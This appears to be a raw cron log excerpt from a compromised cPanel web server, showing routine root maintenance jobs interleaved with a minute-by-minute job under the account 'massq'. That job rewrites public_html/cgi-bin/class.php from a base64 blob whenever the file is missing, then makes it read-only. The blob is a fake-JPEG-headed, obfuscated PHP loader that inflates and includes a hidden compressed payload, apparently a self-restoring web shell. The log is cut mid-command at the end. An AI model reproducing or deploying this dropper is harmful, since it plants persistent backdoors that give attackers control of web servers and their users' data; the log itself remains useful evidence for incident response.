Apr 12 11:00:01 server CROND[23612]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:00:01 server CROND[23613]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 11:00:01 server CROND[23614]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 11:00:01 server CROND[23615]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 11:01:01 server CROND[23724]: (root) CMD (run-parts /etc/cron.hourly)
Apr 12 11:01:01 server CROND[23725]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:01:01 server run-parts(/etc/cron.hourly)[23724]: starting 0anacron
Apr 12 11:01:01 server run-parts(/etc/cron.hourly)[23737]: finished 0anacron
Apr 12 11:02:01 server CROND[23784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:03:01 server CROND[23831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:04:01 server CROND[23950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:05:01 server CROND[24040]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 11:05:01 server CROND[24041]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 11:05:01 server CROND[24044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:05:01 server CROND[24045]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr 12 11:05:01 server CROND[24046]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 11:06:01 server CROND[24205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:07:01 server CROND[24263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:08:01 server CROND[24310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:09:01 server CROND[24376]: (root) CMD (/usr/sbin/csf -u)
Apr 12 11:09:01 server CROND[24378]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:09:01 server CROND[24377]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 11:10:01 server CROND[24442]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:10:01 server CROND[24443]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 11:10:01 server CROND[24444]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 11:10:01 server CROND[24445]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 11:11:01 server CROND[24666]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:12:01 server CROND[24723]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 11:12:01 server CROND[24724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:13:01 server CROND[24775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 